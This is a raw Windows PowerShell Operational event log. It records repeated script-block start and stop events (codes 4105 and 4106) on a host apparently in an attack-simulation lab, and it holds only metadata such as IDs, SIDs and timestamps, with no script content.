SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050021
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050020
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050019
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050018
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050001
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049995
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
